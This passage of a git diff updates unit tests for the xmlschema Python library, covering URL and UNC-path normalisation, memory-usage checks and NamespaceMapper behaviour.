r'\\filer01\MY_HOME\dev\XMLSCHEMA\test.xsd' + url = PureWindowsPath(unc_path).as_uri() + self.assertEqual(str(PureWindowsPath(unc_path)), unc_path) + self.assertEqual(url, 'file://filer01/MY_HOME/dev/XMLSCHEMA/test.xsd') + + # Same UNC path as URI with the host inserted in path. + url_host_in_path = url.replace('file://', 'file:////') + self.assertEqual(url_host_in_path, 'file:////filer01/MY_HOME/dev/XMLSCHEMA/test.xsd') + + self.assertEqual(normalize_url(unc_path), url_host_in_path) + + with patch.object(os, 'name', 'nt'): + self.assertEqual(os.name, 'nt') + path = PurePath(unc_path) + self.assertIs(path.__class__, PureWindowsPath) + self.assertEqual(path.as_uri(), url) + + self.assertEqual(xmlschema.locations.os.name, 'nt') + path = LocationPath(unc_path) + self.assertIs(path.__class__, LocationWindowsPath) + self.assertEqual(path.as_uri(), url_host_in_path) + self.assertEqual(normalize_url(unc_path), url_host_in_path) + + with patch.object(os, 'name', 'posix'): + self.assertEqual(os.name, 'posix') + path = PurePath(unc_path) + self.assertIs(path.__class__, PurePosixPath) + self.assertEqual(str(path), unc_path) + self.assertRaises(ValueError, path.as_uri) # Not recognized as UNC path + + self.assertEqual(xmlschema.locations.os.name, 'posix') + path = LocationPath(unc_path) + self.assertIs(path.__class__, LocationPosixPath) + self.assertEqual(str(path), unc_path) + self.assertNotEqual(path.as_uri(), url) + self.assertEqual(normalize_url(unc_path), url_host_in_path) + + @unittest.skipIf(platform.system() != 'Windows', "Run only on Windows systems") + def test_normalize_url_with_base_unc_path_on_windows(self,): + base_unc_path = '\\\\filer01\\MY_HOME\\' + base_url = PureWindowsPath(base_unc_path).as_uri() + self.assertEqual(str(PureWindowsPath(base_unc_path)), base_unc_path) + self.assertEqual(base_url, 'file://filer01/MY_HOME/') + + # Same UNC path as URI with the host inserted in path + base_url_host_in_path = base_url.replace('file://', 'file:////') + self.assertEqual(base_url_host_in_path, 'file:////filer01/MY_HOME/') + + self.assertEqual(normalize_url(base_unc_path), base_url_host_in_path) + + self.assertEqual(os.name, 'nt') + path = PurePath('dir/file') + self.assertIs(path.__class__, PureWindowsPath) + + url = normalize_url(r'dev\XMLSCHEMA\test.xsd', base_url=base_unc_path) + self.assertEqual(url, 'file:////filer01/MY_HOME/dev/XMLSCHEMA/test.xsd') + + url = normalize_url(r'dev\XMLSCHEMA\test.xsd', base_url=base_url) + self.assertEqual(url, 'file:////filer01/MY_HOME/dev/XMLSCHEMA/test.xsd') + + url = normalize_url(r'dev\XMLSCHEMA\test.xsd', base_url=base_url_host_in_path) + if is_unc_path('////filer01/MY_HOME/'): + self.assertEqual(url, 'file://////filer01/MY_HOME/dev/XMLSCHEMA/test.xsd') + else: + self.assertRegex( + url, f'file://{DRIVE_REGEX}/filer01/MY_HOME/dev/XMLSCHEMA/test.xsd' + ) + + @unittest.skipIf(platform.system() == 'Windows', "Skip on Windows systems") + def test_normalize_url_with_base_unc_path_on_others(self,): + base_unc_path = '\\\\filer01\\MY_HOME\\' + base_url = PureWindowsPath(base_unc_path).as_uri() + self.assertEqual(str(PureWindowsPath(base_unc_path)), base_unc_path) + self.assertEqual(base_url, 'file://filer01/MY_HOME/') + + # Same UNC path as URI with the host inserted in path + base_url_host_in_path = base_url.replace('file://', 'file:////') + self.assertEqual(base_url_host_in_path, 'file:////filer01/MY_HOME/') + + self.assertEqual(normalize_url(base_unc_path), base_url_host_in_path) + + url = normalize_url(r'dev\XMLSCHEMA\test.xsd', base_url=base_unc_path) + self.assertEqual(url, 'file:////filer01/MY_HOME/dev/XMLSCHEMA/test.xsd') + + url = normalize_url(r'dev/XMLSCHEMA/test.xsd', base_url=base_url) + self.assertEqual(url, 'file:////filer01/MY_HOME/dev/XMLSCHEMA/test.xsd') + + url = normalize_url(r'dev/XMLSCHEMA/test.xsd', base_url=base_url_host_in_path) + if is_unc_path('////'): + self.assertEqual(url, 'file://////filer01/MY_HOME/dev/XMLSCHEMA/test.xsd') + else: + self.assertRegex( + url, f'file://{DRIVE_REGEX}/filer01/MY_HOME/dev/XMLSCHEMA/test.xsd' + ) + + with patch.object(os, 'name', 'nt'): + self.assertEqual(os.name, 'nt') + path = PurePath('dir/file') + self.assertIs(path.__class__, PureWindowsPath) + + url = normalize_url(r'dev\XMLSCHEMA\test.xsd', base_url=base_unc_path) + self.assertEqual(url, 'file:////filer01/MY_HOME/dev/XMLSCHEMA/test.xsd') + + url = normalize_url(r'dev\XMLSCHEMA\test.xsd', base_url=base_url) + self.assertEqual(url, 'file:////filer01/MY_HOME/dev/XMLSCHEMA/test.xsd') + + url = normalize_url(r'dev\XMLSCHEMA\test.xsd', base_url=base_url_host_in_path) + if is_unc_path('////filer01/MY_HOME/'): + self.assertEqual(url, 'file://////filer01/MY_HOME/dev/XMLSCHEMA/test.xsd') + else: + self.assertRegex( + url, f'file://{DRIVE_REGEX}/filer01/MY_HOME/dev/XMLSCHEMA/test.xsd' + ) + + def test_normalize_url_slashes(self): + # Issue #116 + url = '//anaconda/envs/testenv/lib/python3.6/site-packages/xmlschema/validators/schemas/' + if os.name == 'posix': + normalize_url(url) + self.assertEqual(normalize_url(url), pathlib.PurePath(url).as_uri()) + else: + # On Windows // is interpreted as a network share UNC path + self.assertEqual(os.name, 'nt') + self.assertEqual(normalize_url(url), + pathlib.PurePath(url).as_uri().replace('file://', 'file:////')) + + self.assertRegex(normalize_url('/root/dir1/schema.xsd'), + f'file://{DRIVE_REGEX}/root/dir1/schema.xsd') + + if is_unc_path('////root/dir1/schema.xsd'): + self.assertRegex(normalize_url('////root/dir1/schema.xsd'), + f'file://{DRIVE_REGEX}////root/dir1/schema.xsd') + self.assertRegex(normalize_url('dir2/schema.xsd', '////root/dir1'), + f'file://{DRIVE_REGEX}////root/dir1/dir2/schema.xsd') + else: + # If the Python release is not capable to detect the UNC path + self.assertRegex(normalize_url('////root/dir1/schema.xsd'), + f'file://{DRIVE_REGEX}/root/dir1/schema.xsd') + self.assertRegex(normalize_url('dir2/schema.xsd', '////root/dir1'), + f'file://{DRIVE_REGEX}/root/dir1/dir2/schema.xsd') + + self.assertEqual(normalize_url('//root/dir1/schema.xsd'), + 'file:////root/dir1/schema.xsd') + self.assertEqual(normalize_url('dir2/schema.xsd', '//root/dir1/'), + 'file:////root/dir1/dir2/schema.xsd') + self.assertEqual(normalize_url('dir2/schema.xsd', '//root/dir1'), + 'file:////root/dir1/dir2/schema.xsd') + + def test_normalize_url_hash_character(self): + url = normalize_url('issue #000.xml', 'file:///dir1/dir2/') + self.assertRegex(url, f'file://{DRIVE_REGEX}/dir1/dir2/issue%20') + + url = normalize_url('issue%20%23000.xml', 'file:///dir1/dir2/') + self.assertRegex(url, f'file://{DRIVE_REGEX}/dir1/dir2/issue%20%23000.xml') + + url = normalize_url('data.xml', 'file:///dir1/dir2/issue%20001') + self.assertRegex(url, f'file://{DRIVE_REGEX}/dir1/dir2/issue%20001/data.xml') + + url = normalize_url('data.xml', '/dir1/dir2/issue%20%23002') + self.assertRegex(url, f'{DRIVE_REGEX}/dir1/dir2/issue%20%23002/data.xml') + + def test_normalize_url_with_query_part(self): + url = "https://xmlschema.test/schema 2/test.xsd?name=2 id=3" + self.assertEqual( + normalize_url(url), + "https://xmlschema.test/schema%202/test.xsd?name=2%20id=3" + ) + + url = "https://xmlschema.test/schema 2/test.xsd?name=2 id=3" + self.assertEqual( + normalize_url(url, method='html'), + "https://xmlschema.test/schema%202/test.xsd?name=2+id=3" + ) + + url = "/path/schema 2/test.xsd?name=2 id=3" + self.assertRegex( + normalize_url(url), + f'file://{DRIVE_REGEX}/path/schema%202/test.xsd' + ) + + self.assertRegex( + normalize_url('other.xsd?id=2', 'file:///home?name=2&id='), + f'file://{DRIVE_REGEX}/home/other.xsd' + ) + self.assertRegex( + normalize_url('other.xsd#element', 'file:///home#attribute'), + f'file://{DRIVE_REGEX}/home/other.xsd' + ) + + self.check_url(normalize_url('other.xsd?id=2', 'https://host/path?name=2&id='), + 'https://host/path/other.xsd?id=2') + self.check_url(normalize_url('other.xsd#element', 'https://host/path?name=2&id='), + 'https://host/path/other.xsd#element') + + def test_normalize_url_with_local_part(self): + # https://datatracker.ietf.org/doc/html/rfc8089#appendix-E.2 + + url = "file:c:/path/to/file" + self.assertIn(urlsplit(url).geturl(), (url, 'file:///c:/path/to/file')) + self.assertIn(normalize_url(url), (url, 'file:///c:/path/to/file')) + + url = "file:///c:/path/to/file" + self.assertEqual(urlsplit(url).geturl(), url) + self.assertEqual(normalize_url(url), url) + + @unittest.skip + def test_normalize_url_with_base_url_with_local_part(self): + + base_url = "file:///D:/a/xmlschema/xmlschema/filer01/MY_HOME" + url = normalize_url(r'dev/XMLSCHEMA/test.xsd', base_url) + self.assertEqual( + url, "file:///D:/a/xmlschema/xmlschema/filer01/MY_HOME/dev/XMLSCHEMA/test.xsd" + ) + + base_url = "file:D:/a/xmlschema/xmlschema/filer01/MY_HOME" + url = normalize_url(r'dev/XMLSCHEMA/test.xsd', base_url) + self.assertEqual( + url, "file:///D:/a/xmlschema/xmlschema/filer01/MY_HOME/dev/XMLSCHEMA/test.xsd" + ) + + base_url = "D:\\a\\xmlschema\\xmlschema/\\/filer01/MY_HOME" + url = normalize_url(r'dev/XMLSCHEMA/test.xsd', base_url) + self.assertEqual( + url, "file:///D:/a/xmlschema/xmlschema/filer01/MY_HOME/dev/XMLSCHEMA/test.xsd" + ) + + def test_is_url_function(self): + self.assertTrue(is_url(self.col_xsd_file)) + self.assertFalse(is_url('http://example.com[')) + self.assertTrue(is_url(b'http://example.com')) + self.assertFalse(is_url(' \t')) + self.assertFalse(is_url(b' ')) + self.assertFalse(is_url('line1\nline2')) + self.assertFalse(is_url(None)) + + def test_is_local_url_function(self): + self.assertTrue(is_local_url(self.col_xsd_file)) + self.assertTrue(is_local_url(Path(self.col_xsd_file))) + + self.assertTrue(is_local_url('/home/user/')) + self.assertFalse(is_local_url('')) + self.assertTrue(is_local_url('/home/user/schema.xsd')) + self.assertTrue(is_local_url(' /home/user/schema.xsd ')) + self.assertTrue(is_local_url('C:\\Users\\foo\\schema.xsd')) + self.assertTrue(is_local_url(' file:///home/user/schema.xsd')) + self.assertFalse(is_local_url('http://example.com/schema.xsd')) + + self.assertTrue(is_local_url(b'/home/user/')) + self.assertFalse(is_local_url(b'')) + self.assertTrue(is_local_url(b'/home/user/schema.xsd')) + self.assertTrue(is_local_url(b' /home/user/schema.xsd ')) + self.assertTrue(is_local_url(b'C:\\Users\\foo\\schema.xsd')) + self.assertTrue(is_local_url(b' file:///home/user/schema.xsd')) + self.assertFalse(is_local_url(b'http://example.com/schema.xsd')) + + def test_is_remote_url_function(self): + self.assertFalse(is_remote_url(self.col_xsd_file)) + + self.assertFalse(is_remote_url('/home/user/')) + self.assertFalse(is_remote_url('')) + self.assertFalse(is_remote_url('/home/user/schema.xsd')) + self.assertFalse(is_remote_url(' file:///home/user/schema.xsd')) + self.assertTrue(is_remote_url(' http://example.com/schema.xsd')) + + self.assertFalse(is_remote_url(b'/home/user/')) + self.assertFalse(is_remote_url(b'')) + self.assertFalse(is_remote_url(b'/home/user/schema.xsd')) + self.assertFalse(is_remote_url(b' file:///home/user/schema.xsd')) + self.assertTrue(is_remote_url(b' http://example.com/schema.xsd')) + + def test_url_path_is_file_function(self): + self.assertTrue(url_path_is_file(self.col_xml_file)) + self.assertTrue(url_path_is_file(normalize_url(self.col_xml_file))) + self.assertFalse(url_path_is_file(self.col_dir)) + self.assertFalse(url_path_is_file('http://example.com/')) + + with patch('platform.system', MagicMock(return_value="Windows")): + self.assertFalse(url_path_is_file('file:///c:/Windows/unknown')) + + def test_is_unc_path_function(self): + self.assertFalse(is_unc_path('')) + self.assertFalse(is_unc_path('foo')) + self.assertFalse(is_unc_path('foo\\bar')) + self.assertFalse(is_unc_path('foo/bar')) + self.assertFalse(is_unc_path('\\')) + self.assertFalse(is_unc_path('/')) + self.assertFalse(is_unc_path('\\foo\\bar')) + self.assertFalse(is_unc_path('/foo/bar')) + self.assertFalse(is_unc_path('c:foo/bar')) + self.assertFalse(is_unc_path('c:\\foo\\bar')) + self.assertFalse(is_unc_path('c:/foo/bar')) + + self.assertTrue(is_unc_path('/\\host/share/path')) + self.assertTrue(is_unc_path('\\/host\\share/path')) + self.assertTrue(is_unc_path('//host/share/dir/file')) + self.assertTrue(is_unc_path('//?/UNC/server/share/dir')) + + if sys.version_info >= (3, 12, 5): + # Generally these tests fail with older Python releases, due to + # bug/limitation of old versions of ntpath.splitdrive() + self.assertTrue(is_unc_path('//')) + self.assertTrue(is_unc_path('\\\\')) + self.assertTrue(is_unc_path('\\\\host\\share\\foo\\bar')) + self.assertTrue(is_unc_path('\\\\?\\UNC\\server\\share\\dir')) + self.assertTrue(is_unc_path('////')) + self.assertTrue(is_unc_path('////host/share/schema.xsd')) + + def test_is_drive_path_function(self): + self.assertFalse(is_drive_path('')) + self.assertFalse(is_drive_path('foo')) + self.assertFalse(is_drive_path('foo\\bar')) + self.assertFalse(is_drive_path('foo/bar')) + self.assertFalse(is_drive_path('\\')) + self.assertFalse(is_drive_path('/')) + self.assertFalse(is_drive_path('\\foo\\bar')) + self.assertFalse(is_drive_path('/foo/bar')) + + self.assertTrue(is_drive_path('c:foo/bar')) + self.assertTrue(is_drive_path('c:\\foo\\bar')) + self.assertTrue(is_drive_path('c:/foo/bar')) + self.assertFalse(is_drive_path('/c:foo/bar')) + self.assertFalse(is_drive_path('\\c:\\foo\\bar')) + self.assertFalse(is_drive_path('/c:/foo/bar')) + + self.assertFalse(is_drive_path('/\\host/share/path')) + self.assertFalse(is_drive_path('\\/host\\share/path')) + self.assertFalse(is_drive_path('//host/share/dir/file')) + self.assertFalse(is_drive_path('//?/UNC/server/share/dir')) + + def test_is_encoded_url(self): + self.assertFalse(is_encoded_url("https://xmlschema.test/schema/test.xsd")) + self.assertTrue(is_encoded_url("https://xmlschema.test/schema/issue%20%231999.xsd")) + self.assertFalse(is_encoded_url("a b c")) + self.assertFalse(is_encoded_url("a+b+c")) + self.assertFalse(is_encoded_url("a b+c")) + + def test_is_safe_url(self): + self.assertTrue(is_safe_url("https://xmlschema.test/schema/test.xsd")) + self.assertFalse(is_safe_url("https://xmlschema.test/schema 2/test.xsd")) + self.assertTrue(is_safe_url("https://xmlschema.test/schema/test.xsd#elements")) + self.assertTrue(is_safe_url("https://xmlschema.test/schema/test.xsd?id=2")) + self.assertFalse(is_safe_url("https://xmlschema.test/schema/test.xsd?id=2 name=foo")) + + def test_encode_and_decode_url(self): + url = "https://xmlschema.test/schema/test.xsd" + self.assertEqual(encode_url(url), url) + self.assertEqual(decode_url(encode_url(url)), url) + + url = "https://xmlschema.test/schema 2/test.xsd" + self.assertEqual(encode_url(url), "https://xmlschema.test/schema%202/test.xsd") + self.assertEqual(decode_url(encode_url(url)), url) + + url = "https://xmlschema.test@u:p/xs:schema@2/test.xsd" + self.assertEqual(encode_url(url), "https://xmlschema.test@u:p/xs%3Aschema%402/test.xsd") + self.assertEqual(decode_url(encode_url(url)), url) + + url = "https://xmlschema.test/schema 2/test.xsd?name=2 id=3" + self.assertEqual( + encode_url(url), "https://xmlschema.test/schema%202/test.xsd?name=2%20id=3") + self.assertEqual(decode_url(encode_url(url)), url) + + self.assertEqual(encode_url(url, method='html'), + "https://xmlschema.test/schema%202/test.xsd?name=2+id=3") + self.assertEqual(decode_url(encode_url(url, method='html'), method='html'), url) + self.assertEqual(decode_url(encode_url(url), method='html'), url) + self.assertNotEqual(decode_url(encode_url(url, method='html')), url) + + def test_normalize_locations_function(self): + locations = normalize_locations( + [('tns0', 'alpha'), ('tns1', 'http://example.com/beta')], base_url='/home/user' + ) + self.assertEqual(locations[0][0], 'tns0') + self.assertRegex(locations[0][1], f'file://{DRIVE_REGEX}/home/user/alpha') + self.assertEqual(locations[1][0], 'tns1') + self.assertEqual(locations[1][1], 'http://example.com/beta') + + locations = normalize_locations( + {'tns0': 'alpha', 'tns1': 'http://example.com/beta'}, base_url='/home/user' + ) + self.assertEqual(locations[0][0], 'tns0') + self.assertRegex(locations[0][1], f'file://{DRIVE_REGEX}/home/user/alpha') + self.assertEqual(locations[1][0], 'tns1') + self.assertEqual(locations[1][1], 'http://example.com/beta') + + locations = normalize_locations( + {'tns0': ['alpha', 'beta'], 'tns1': 'http://example.com/beta'}, base_url='/home/user' + ) + self.assertEqual(locations[0][0], 'tns0') + self.assertRegex(locations[0][1], f'file://{DRIVE_REGEX}/home/user/alpha') + self.assertEqual(locations[1][0], 'tns0') + self.assertRegex(locations[1][1], f'file://{DRIVE_REGEX}/home/user/beta') + self.assertEqual(locations[2][0], 'tns1') + self.assertEqual(locations[2][1], 'http://example.com/beta') + + locations = normalize_locations( + {'tns0': 'alpha', 'tns1': 'http://example.com/beta'}, keep_relative=True + ) + self.assertListEqual(locations, [('tns0', 'file:alpha'), + ('tns1', 'http://example.com/beta')]) + + def test_match_location(self): + self.assertIsNone(match_location('schema.xsd', [])) + + locations = ['schema1.xsd', 'schema'] + self.assertIsNone(match_location('schema.xsd', locations)) + + locations = ['schema.xsd', 'schema'] + self.assertEqual(match_location('schema.xsd', locations), 'schema.xsd') + + locations = ['schema', 'schema.xsd'] + self.assertEqual(match_location('schema.xsd', locations), 'schema.xsd') + + locations = ['../schema.xsd', 'a/schema.xsd'] + self.assertIsNone(match_location('schema.xsd', locations)) + + locations = ['../schema.xsd', 'b/schema.xsd'] + self.assertEqual(match_location('a/schema.xsd', locations), '../schema.xsd') + + locations = ['../schema.xsd', 'a/schema.xsd'] + self.assertEqual(match_location('a/schema.xsd', locations), 'a/schema.xsd') + + locations = ['../schema.xsd', './a/schema.xsd'] + self.assertEqual(match_location('a/schema.xsd', locations), './a/schema.xsd') + + locations = ['/../schema.xsd', '/a/schema.xsd'] + self.assertIsNone(match_location('a/schema.xsd', locations)) + self.assertEqual(match_location('/a/schema.xsd', locations), '/a/schema.xsd') + self.assertEqual(match_location('/schema.xsd', locations), '/../schema.xsd') + + +if __name__ == '__main__': + header_template = "Test xmlschema locations.py module with Python {} on platform {}" + header = header_template.format(platform.python_version(), platform.platform()) + print('{0}\n{1}\n{0}'.format("*" * len(header), header)) + + unittest.main() diff --git a/tests/test_memory.py b/tests/test_memory.py index b2b8465..75a0e0c 100644 --- a/tests/test_memory.py +++ b/tests/test_memory.py @@ -27,7 +27,7 @@ class TestMemoryUsage(unittest.TestCase): @staticmethod def check_memory_profile(output): - """Check the output of a memory memory profile run on a function.""" + """Check the output of a memory profile run on a function.""" mem_usage = [] func_num = 0 for line in output.split('\n'): @@ -47,7 +47,7 @@ def check_memory_profile(output): def test_package_memory_usage(self): test_dir = os.path.dirname(__file__) or '.' cmd = [sys.executable, os.path.join(test_dir, 'check_memory.py'), '1'] - output = subprocess.check_output(cmd, universal_newlines=True) + output = subprocess.check_output(cmd, text=True) package_mem = self.check_memory_profile(output) self.assertLess(package_mem, 20) @@ -59,15 +59,15 @@ def test_element_tree_memory_usage(self): ) cmd = [sys.executable, os.path.join(test_dir, 'check_memory.py'), '2', xsd10_schema_file] - output = subprocess.check_output(cmd, universal_newlines=True) + output = subprocess.check_output(cmd, text=True) parse_mem = self.check_memory_profile(output) cmd = [sys.executable, os.path.join(test_dir, 'check_memory.py'), '3', xsd10_schema_file] - output = subprocess.check_output(cmd, universal_newlines=True) + output = subprocess.check_output(cmd, text=True) iterparse_mem = self.check_memory_profile(output) cmd = [sys.executable, os.path.join(test_dir, 'check_memory.py'), '4', xsd10_schema_file] - output = subprocess.check_output(cmd, universal_newlines=True) + output = subprocess.check_output(cmd, text=True) lazy_iterparse_mem = self.check_memory_profile(output) self.assertLess(parse_mem, 2) @@ -91,15 +91,15 @@ def test_decode_memory_usage(self): fp.write('\n') cmd = [sys.executable, python_script, '5', str(xml_file)] - output = subprocess.check_output(cmd, universal_newlines=True) + output = subprocess.check_output(cmd, text=True) decode_mem = self.check_memory_profile(output) cmd = [sys.executable, python_script, '6', str(xml_file)] - output = subprocess.check_output(cmd, universal_newlines=True) + output = subprocess.check_output(cmd, text=True) lazy_decode_mem = self.check_memory_profile(output) self.assertLessEqual(decode_mem, 2.6) - self.assertLessEqual(lazy_decode_mem, 1.8) + self.assertLessEqual(lazy_decode_mem, 2.1) def test_validate_memory_usage(self): with tempfile.TemporaryDirectory() as dirname: @@ -118,15 +118,15 @@ def test_validate_memory_usage(self): fp.write('\n') cmd = [sys.executable, python_script, '7', str(xml_file)] - output = subprocess.check_output(cmd, universal_newlines=True) + output = subprocess.check_output(cmd, text=True) validate_mem = self.check_memory_profile(output) cmd = [sys.executable, python_script, '8', str(xml_file)] - output = subprocess.check_output(cmd, universal_newlines=True) + output = subprocess.check_output(cmd, text=True) lazy_validate_mem = self.check_memory_profile(output) self.assertLess(validate_mem, 2.6) - self.assertLess(lazy_validate_mem, 1.8) + self.assertLess(lazy_validate_mem, 2.1) if __name__ == '__main__': diff --git a/tests/test_namespaces.py b/tests/test_namespaces.py index e37d77e..1cd14b2 100644 --- a/tests/test_namespaces.py +++ b/tests/test_namespaces.py @@ -8,14 +8,16 @@ # # @author Davide Brunato # +import io import unittest import os -import sys +import copy +from textwrap import dedent +from xmlschema import XMLResource, XMLSchemaConverter from xmlschema.names import XSD_NAMESPACE, XSI_NAMESPACE from xmlschema.namespaces import NamespaceResourcesMap, NamespaceMapper, NamespaceView - CASES_DIR = os.path.join(os.path.dirname(__file__), '../test_cases') @@ -28,7 +30,6 @@ def test_init(self): nsmap.append(('tns0', 'schema2.xsd')) self.assertEqual(NamespaceResourcesMap(nsmap), {'tns0': ['schema1.xsd', 'schema2.xsd']}) - @unittest.skipIf(sys.version_info[:2] < (3, 6), "Python 3.6+ needed") def test_repr(self): namespaces = NamespaceResourcesMap() namespaces['tns0'] = 'schema1.xsd' @@ -42,7 +43,7 @@ def test_dictionary_methods(self): self.assertEqual(namespaces, {'tns0': ['schema1.xsd'], 'tns1': ['schema2.xsd']}) self.assertEqual(len(namespaces), 2) - self.assertEqual(set(x for x in namespaces), {'tns0', 'tns1'}) + self.assertEqual({x for x in namespaces}, {'tns0', 'tns1'}) del namespaces['tns0'] self.assertEqual(namespaces, {'tns1': ['schema2.xsd']}) @@ -54,11 +55,24 @@ def test_dictionary_methods(self): class TestNamespaceMapper(unittest.TestCase): + @classmethod + def setUpClass(cls): + cls.xml_data = dedent("""\ + + + + + + + + + """) + def test_init(self): namespaces = dict(xs=XSD_NAMESPACE, xsi=XSI_NAMESPACE) mapper = NamespaceMapper(namespaces) self.assertEqual(mapper, namespaces) - self.assertIs(namespaces, mapper.namespaces) + self.assertIsNot(namespaces, mapper.namespaces) def test_dictionary_methods(self): namespaces = dict(xs=XSD_NAMESPACE) @@ -74,63 +88,171 @@ def test_dictionary_methods(self): mapper.clear() self.assertEqual(mapper, {}) - def test_strip_namespaces(self): + def test_strip_namespaces_and_process_namespaces_arguments(self): namespaces = dict(xs=XSD_NAMESPACE, xsi=XSI_NAMESPACE) - mapper = NamespaceMapper(namespaces, strip_namespaces=True) + mapper = NamespaceMapper(namespaces, strip_namespaces=False) + self.assertFalse(mapper.strip_namespaces) + self.assertTrue(mapper.process_namespaces) + self.assertTrue(mapper._use_namespaces) + self.assertEqual(mapper.map_qname('{%s}name' % XSD_NAMESPACE), 'xs:name') + self.assertEqual(mapper.map_qname('{unknown}name'), '{unknown}name') + + mapper = NamespaceMapper(namespaces, strip_namespaces=True) + self.assertTrue(mapper.strip_namespaces) + self.assertTrue(mapper.process_namespaces) + self.assertFalse(mapper._use_namespaces) self.assertEqual(mapper.map_qname('{%s}name' % XSD_NAMESPACE), 'name') self.assertEqual(mapper.map_qname('{unknown}name'), 'name') - mapper.strip_namespaces = False + mapper = NamespaceMapper(namespaces, process_namespaces=True) self.assertEqual(mapper.map_qname('{%s}name' % XSD_NAMESPACE), 'xs:name') self.assertEqual(mapper.map_qname('{unknown}name'), '{unknown}name') - def test_default_namespace(self): + mapper = NamespaceMapper(namespaces, process_namespaces=False) + self.assertEqual(mapper.map_qname(f'{XSD_NAMESPACE}name'), f'{XSD_NAMESPACE}name') + self.assertEqual(mapper.map_qname('{unknown}name'), '{unknown}name') + + mapper = NamespaceMapper(namespaces, process_namespaces=False, strip_namespaces=True) + self.assertEqual(mapper.map_qname('{%s}name' % XSD_NAMESPACE), 'name') + self.assertEqual(mapper.map_qname('{unknown}name'), 'name') + + def test_xmlns_processing_argument_with_resource(self): namespaces = dict(xs=XSD_NAMESPACE, xsi=XSI_NAMESPACE) + resource = XMLResource('') + + kwargs = { + 'namespaces': namespaces, + 'source': resource, + } + mapper = NamespaceMapper(**kwargs) + self.assertEqual(mapper.xmlns_processing, 'stacked') + self.assertIsNotNone(mapper._xmlns_getter) + mapper = NamespaceMapper(namespaces) + self.assertEqual(mapper.xmlns_processing, 'none') + self.assertIsNone(mapper._xmlns_getter) - self.assertIsNone(mapper.default_namespace) - mapper[''] = 'tns0' - self.assertEqual(mapper.default_namespace, 'tns0') + mapper = NamespaceMapper(xmlns_processing='collapsed', **kwargs) + self.assertEqual(mapper.xmlns_processing, 'collapsed') + self.assertIsNotNone(mapper._xmlns_getter) + + mapper = NamespaceMapper(xmlns_processing='root-only', **kwargs) + self.assertEqual(mapper.xmlns_processing, 'root-only') + self.assertIsNotNone(mapper._xmlns_getter) - def test_insert_item(self): + mapper = NamespaceMapper(xmlns_processing='none', **kwargs) + self.assertEqual(mapper.xmlns_processing, 'none') + self.assertIsNone(mapper._xmlns_getter) + + def test_xmlns_processing_argument_with_data_source(self): + namespaces = dict(xs=XSD_NAMESPACE, xsi=XSI_NAMESPACE) + + mapper = NamespaceMapper(namespaces, source=dict()) + self.assertEqual(mapper.xmlns_processing, 'none') + self.assertIsNone(mapper._xmlns_getter) + + mapper = NamespaceMapper(namespaces, xmlns_processing='collapsed', source=dict()) + self.assertEqual(mapper.xmlns_processing, 'collapsed') + self.assertIsNotNone(mapper._xmlns_getter) + + # None can be a valid decoded value in certain cases + mapper = NamespaceMapper(namespaces, xmlns_processing='collapsed', source=None) + self.assertEqual(mapper.xmlns_processing, 'collapsed') + self.assertIsNotNone(mapper._xmlns_getter) + + def test_invalid_xmlns_processing_argument(self): + with self.assertRaises(ValueError): + NamespaceMapper(xmlns_processing='nothing') + + with self.assertRaises(TypeError): + NamespaceMapper(xmlns_processing=False) + + def test_source_argument(self): + resource = XMLResource('') + mapper = NamespaceMapper(source=resource) + self.assertIs(mapper.source, resource) + self.assertIsNotNone(mapper._xmlns_getter) + + mapper = NamespaceMapper() + self.assertIsNone(mapper.source) + self.assertIsNone(mapper._xmlns_getter) + + def test_get_xmlns_from_data(self): + self.assertIsNone(NamespaceMapper().get_xmlns_from_data({})) + + def test_get_namespaces(self): namespaces = dict(xs=XSD_NAMESPACE, xsi=XSI_NAMESPACE) + resource = XMLResource('') + data = {'@xmlns:xs': "http://example.test/foo", 'value': [1, 2]} + mapper = NamespaceMapper(namespaces) + self.assertEqual(mapper.get_namespaces(), {}) + + mapper = NamespaceMapper(namespaces) + self.assertEqual(mapper.get_namespaces(namespaces), namespaces) + + mapper = NamespaceMapper(namespaces, xmlns_processing='stacked') + self.assertEqual(mapper.get_namespaces(), {}) + + mapper = NamespaceMapper(namespaces, xmlns_processing='stacked') + self.assertEqual(mapper.get_namespaces(namespaces), namespaces) + + mapper = NamespaceMapper(namespaces, xmlns_processing='stacked', source=data) + self.assertEqual(mapper.get_namespaces(), {}) - mapper.insert_item('xs', XSD_NAMESPACE) - self.assertEqual(len(mapper), 2) + mapper = NamespaceMapper(namespaces, xmlns_processing='stacked', source=data) + self.assertEqual(mapper.get_namespaces(namespaces), namespaces) - mapper.insert_item('', XSD_NAMESPACE) - self.assertEqual(len(mapper), 3) - mapper.insert_item('', XSD_NAMESPACE) - self.assertEqual(len(mapper), 3) - mapper.insert_item('', 'tns0') - self.assertEqual(len(mapper), 4) + mapper = NamespaceMapper(namespaces, xmlns_processing='stacked', source=resource) + self.assertEqual(mapper.get_namespaces(), {'': 'http://example.test/foo'}) - mapper.insert_item('xs', XSD_NAMESPACE) - self.assertEqual(len(mapper), 4) - mapper.insert_item('xs', 'tns1') - self.assertEqual(len(mapper), 5) - mapper.insert_item('xs', 'tns2') - self.assertEqual(len(mapper), 6) + mapper = NamespaceMapper(namespaces, xmlns_processing='stacked', source=resource) + self.assertEqual(mapper.get_namespaces(namespaces), + {**namespaces, **{'': 'http://example.test/foo'}}) + + mapper = XMLSchemaConverter(namespaces, xmlns_processing='stacked', source=data) + self.assertEqual(mapper.get_namespaces(), {'xs': 'http://example.test/foo'}) + + mapper = XMLSchemaConverter(namespaces, xmlns_processing='stacked', source=data) + self.assertEqual(mapper.get_namespaces(namespaces), + {**namespaces, **{'xs0': 'http://example.test/foo'}}) + + def test_copy(self): + namespaces = dict(xs=XSD_NAMESPACE, xsi=XSI_NAMESPACE) + + mapper = NamespaceMapper(namespaces, strip_namespaces=True) + other = copy.copy(mapper) + + self.assertIsNot(mapper.namespaces, other.namespaces) + self.assertDictEqual(mapper.namespaces, other.namespaces) + + def test_default_namespace(self): + namespaces = dict(xs=XSD_NAMESPACE, xsi=XSI_NAMESPACE) + mapper = NamespaceMapper(namespaces) + + self.assertIsNone(mapper.default_namespace) + mapper[''] = 'tns0' + self.assertEqual(mapper.default_namespace, 'tns0') def test_map_qname(self): namespaces = dict(xs=XSD_NAMESPACE, xsi=XSI_NAMESPACE) mapper = NamespaceMapper(namespaces) - mapper.insert_item('', XSD_NAMESPACE) + mapper[''] = XSD_NAMESPACE self.assertEqual(mapper.map_qname(''), '') - self.assertEqual(mapper.map_qname('{%s}element' % XSD_NAMESPACE), 'xs:element') - mapper.pop('xs') + 